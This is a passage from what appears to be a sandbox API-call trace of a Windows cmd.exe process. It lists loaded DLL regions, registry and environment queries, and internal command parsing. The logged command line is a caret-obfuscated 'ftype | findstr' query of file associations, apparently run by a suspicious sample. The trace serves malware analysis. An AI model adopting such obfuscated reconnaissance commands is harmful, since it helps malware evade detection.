"\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1153 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1154 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1155 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1156 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1157 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1158 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1159 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1160 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1161 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1162 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1163 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1164 start_va = 0x1e80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e80000" filename = "" Region: id = 1165 start_va = 0x1f80000 end_va = 0x224efff entry_point = 0x1f80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 90 os_tid = 0xb28 [0102.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fcf0 | out: lpSystemTimeAsFileTime=0x14fcf0*(dwLowDateTime=0xde5a6560, dwHighDateTime=0x1d475ba)) [0102.867] GetCurrentProcessId () returned 0xb24 [0102.867] GetCurrentThreadId () returned 0xb28 [0102.867] GetTickCount () returned 0x2253b [0102.867] QueryPerformanceCounter (in: lpPerformanceCount=0x14fcf8 | out: lpPerformanceCount=0x14fcf8*=1814534700000) returned 1 [0102.867] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0102.868] __set_app_type (_Type=0x1) [0102.868] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0102.868] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0102.868] GetCurrentThreadId () returned 0xb28 [0102.868] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb28) returned 0x3c [0102.869] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0102.869] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0102.869] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0102.869] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0102.869] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fc88 | out: phkResult=0x14fc88*=0x0) returned 0x2 [0102.869] VirtualQuery (in: lpAddress=0x14fc70, lpBuffer=0x14fbf0, dwLength=0x30 | out: lpBuffer=0x14fbf0*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.869] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fbf0, dwLength=0x30 | out: lpBuffer=0x14fbf0*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.869] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fbf0, dwLength=0x30 | out: lpBuffer=0x14fbf0*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.870] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fbf0, dwLength=0x30 | out: lpBuffer=0x14fbf0*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0102.870] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fbf0, dwLength=0x30 | out: lpBuffer=0x14fbf0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0102.870] GetConsoleOutputCP () returned 0x1b5 [0102.870] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.870] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0102.871] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.871] SetConsoleMode (hConsoleHandle=0x5c, dwMode=0x0) returned 0 [0102.871] _get_osfhandle (_FileHandle=1) returned 0x5c [0102.871] GetConsoleMode (in: hConsoleHandle=0x5c, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0102.871] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.871] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0102.872] GetEnvironmentStringsW () returned 0x24bf40* [0102.874] FreeEnvironmentStringsW (penv=0x24bf40) returned 1 [0102.875] GetEnvironmentStringsW () returned 0x24bf40* [0102.878] FreeEnvironmentStringsW (penv=0x24bf40) returned 1 [0102.878] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14eb48 | out: phkResult=0x14eb48*=0x44) returned 0x0 [0102.878] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x18, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.878] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x1, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x1, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x0, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x40, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x40, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x40, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.879] RegCloseKey (hKey=0x44) returned 0x0 [0102.879] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14eb48 | out: phkResult=0x14eb48*=0x44) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x40, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x1, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x1, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x0, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x9, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x4, lpData=0x14eb60*=0x9, lpcbData=0x14eb44*=0x4) returned 0x0 [0102.879] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14eb40, lpData=0x14eb60, lpcbData=0x14eb44*=0x1000 | out: lpType=0x14eb40*=0x0, lpData=0x14eb60*=0x9, lpcbData=0x14eb44*=0x1000) returned 0x2 [0102.879] RegCloseKey (hKey=0x44) returned 0x0 [0102.879] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bcf [0102.879] srand (_Seed=0x5be16bcf) [0102.879] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m " [0102.880] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m " [0102.880] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.880] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1eb3e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0102.880] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0102.880] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.880] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.880] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.880] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.880] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0102.880] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0102.880] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0102.881] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0102.881] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0102.881] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0102.881] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0102.881] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0102.881] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f950 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.881] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f950, lpFilePart=0x14f930 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f930*="Desktop") returned 0x19 [0102.881] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0102.881] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f660 | out: lpFindFileData=0x14f660) returned 0x24bda0 [0102.881] FindClose (in: hFindFile=0x24bda0 | out: hFindFile=0x24bda0) returned 1 [0102.882] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x14f660 | out: lpFindFileData=0x14f660) returned 0x24bda0 [0102.882] FindClose (in: hFindFile=0x24bda0 | out: hFindFile=0x24bda0) returned 1 [0102.882] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x14f660 | out: lpFindFileData=0x14f660) returned 0x24bda0 [0102.882] FindClose (in: hFindFile=0x24bda0 | out: hFindFile=0x24bda0) returned 1 [0102.882] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0102.882] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0102.882] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0102.882] GetEnvironmentStringsW () returned 0x24bf40* [0102.883] FreeEnvironmentStringsW (penv=0x24bf40) returned 1 [0102.883] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.883] GetConsoleOutputCP () returned 0x1b5 [0102.883] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0102.883] GetUserDefaultLCID () returned 0x409 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14fa60, cchData=128 | out: lpLCData="0") returned 2 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14fa60, cchData=128 | out: lpLCData="0") returned 2 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14fa60, cchData=128 | out: lpLCData="1") returned 2 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0102.884] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0102.885] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0102.885] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.886] GetConsoleTitleW (in: lpConsoleTitle=0x1eb4110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.887] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0102.887] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0102.887] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0102.887] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0102.888] _wcsicmp (_String1="ftYpe", _String2=")") returned 61 [0102.888] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5 [0102.888] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5 [0102.888] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3 [0102.888] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3 [0102.888] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12 [0102.888] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12 [0102.889] _wcsicmp (_String1="FOR", _String2="fiNdStr") returned 6 [0102.889] _wcsicmp (_String1="FOR/?", _String2="fiNdStr") returned 6 [0102.889] _wcsicmp (_String1="IF", _String2="fiNdStr") returned 3 [0102.889] _wcsicmp (_String1="IF/?", _String2="fiNdStr") returned 3 [0102.889] _wcsicmp (_String1="REM", _String2="fiNdStr") returned 12 [0102.889] _wcsicmp (_String1="REM/?", _String2="fiNdStr") returned 12 [0102.890] _pipe (in: _PtHandles=0x2b3b80, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x2b3b80) returned 0 [0102.890] _dup (_FileHandle=1) returned 5 [0102.890] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0102.890] _close (_FileHandle=4) returned 0 [0102.891] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0102.891] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0102.891] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0102.891] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0102.891] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0102.891] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0102.891] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0102.891] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0102.891] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0102.891] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0102.891] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0102.891] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0102.891] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0102.891] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0102.891] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0102.891] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0102.891] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0102.891] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0102.891] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0102.891] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0102.891] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0102.891] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0102.891] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0102.891] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0102.891] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0102.891] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0102.892] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0102.892] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1 [0102.892] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0102.892] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0102.892] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0102.892] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0102.892] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0102.892] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0102.892] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0102.892] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0102.892] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0102.892] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0102.892] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0102.892] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2 [0102.892] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1 [0102.892] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2 [0102.892] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14 [0102.892] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3 [0102.892] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3 [0102.892] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3 [0102.892] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12 [0102.892] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12 [0102.892] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1 [0102.892] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13 [0102.892] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10 [0102.892] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2 [0102.892] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14 [0102.892] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10 [0102.893] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7 [0102.893] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7 [0102.893] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12 [0102.893] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12 [0102.898] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10 [0102.898] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1 [0102.898] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13 [0102.898] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3 [0102.898] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3 [0102.898] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16 [0102.898] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16 [0102.898] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16 [0102.898] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1 [0102.898] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13 [0102.898] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1 [0102.898] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14 [0102.898] _wcsicmp (_String1="ftYpe", _String2="START") returned -13 [0102.898] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2 [0102.898] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5 [0102.898] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7 [0102.898] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10 [0102.898] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10 [0102.899] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5 [0102.899] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0 [0102.899] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0102.899] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51 [0102.899] SetErrorMode (uMode=0x0) returned 0x8001 [0102.899] SetErrorMode (uMode=0x1) returned 0x0 [0102.899] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x1eb4900, lpFilePart=0x14f5c0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x14f5c0*="system32") returned 0x13 [0102.899] SetErrorMode (uMode=0x8001) returned 0x1 [0102.900] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0102.900] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.905] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.905] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x14f330, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14f330) returned 0x1eb4a30 [0102.905] FindClose (in: hFindFile=0x1eb4a30 | out: hFindFile=0x1eb4a30) returned 1 [0102.906] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0102.906] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0102.906] GetConsoleTitleW (in: lpConsoleTitle=0x14f880, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.906] InitializeProcThreadAttributeList (in: lpAttributeList=0x14f638, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14f5f8 | out: lpAttributeList=0x14f638, lpSize=0x14f5f8) returned 1 [0102.906] UpdateProcThreadAttribute (in: lpAttributeList=0x14f638, dwFlags=0x0, Attribute=0x60001, lpValue=0x14f5e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14f638, lpPreviousValue=0x0) returned 1 [0102.906] GetStartupInfoW (in: lpStartupInfo=0x14f750 | out: lpStartupInfo=0x14f750*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x5c, hStdError=0xb)) 